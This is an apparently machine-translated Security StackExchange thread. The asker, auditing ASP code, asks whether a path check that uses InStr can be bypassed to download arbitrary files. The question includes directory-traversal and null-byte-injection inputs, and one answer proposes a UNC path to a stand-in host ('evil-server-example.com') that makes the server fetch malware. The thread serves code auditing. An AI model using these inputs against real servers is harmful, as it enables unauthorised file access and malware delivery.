我正在审核Windows环境中一个可能存在漏洞的ASP代码。守则如下:
If InStr(strPath, "\Only\Download\From\Here\", CompareMethod.Text) = 0 Then
简单地说,它应该只允许下载脚本从该位置获取文件。Webserver已关闭目录遍历。这意味着,以下提交的文件将不起作用,实际上将返回一个403被禁止的文件:
\Only\Download\From\Here\..\..\..\..\..\c:\windows\system32\eula.txt
因为函数sais是"InStr“而不是"BeginsWith”(psuedo代码),所以它只检查字符串是否包含路径,而实际上不是以路径开始。
以下提交将传递If子句,但将在未找到的文件中返回:
c:\windows\system32\eula.txt%00\Only\Download\From\Here\
此处注入的空字节不会执行任何操作,它将尝试找到与整个字符串匹配的文件。我也试过注射CRLF,#,等等。
那么,我的问题是,是否有任何方法可以提交一个查询字符串来成功下载任意文件?是否有任何方法可以提交一个文件URI,该URI将获取一个文件,并以某种方式注释掉/Only/Download/From/Here。
编辑:总之,我正在寻找某种方式来“注释”掉文件名的最后一部分,无论是通过ASP、Webserver或windows处理文件中的bug/Feature/漏洞。
发布于 2012-07-03 07:32:32
虽然您可能无法访问系统上的文件,但如果您能够让它访问UNC路径,则仍然是一个潜在的漏洞。您可以让服务器下载以下任意文件:
\\evil-server-example.com\Only\Download\From\Here\malware.exe
只需设置一个服务器,与Windows文件共享向互联网开放,与一个公开访问的共享。这将导致文件被下载,虽然它可能不会存储取决于操作系统的配置和您正在处理的代码。如果它是存储的,则很可能位于临时目录中。你以后也许可以利用这一点。
发布于 2012-06-29 02:20:14
\Only\Download\From\Here\
路径,除非存在允许修改服务器上源代码的不同漏洞。使用CRLF, #
等是在实际的ASP代码文件中注释或忽略一小块\Only\Download\From\Here\
,这几乎是不可能的。
每次提出请求时,web服务器都会从ASP文件中读取源代码并进行编译。只有将加载到web服务器内存中的代码用于忽略\Only\Download\From\Here\
的特定请求,才能实现下载任意文件的目标。
编辑:利用这一点的唯一可能方法是将路径伪装为目录遍历,但这里没有该选项。如果web服务器或windows本身在文件路径处理方面存在任何缺陷,则在此asp代码之外,这将是一个完全不同的漏洞。
https://security.stackexchange.com/questions/16644
复制相似问题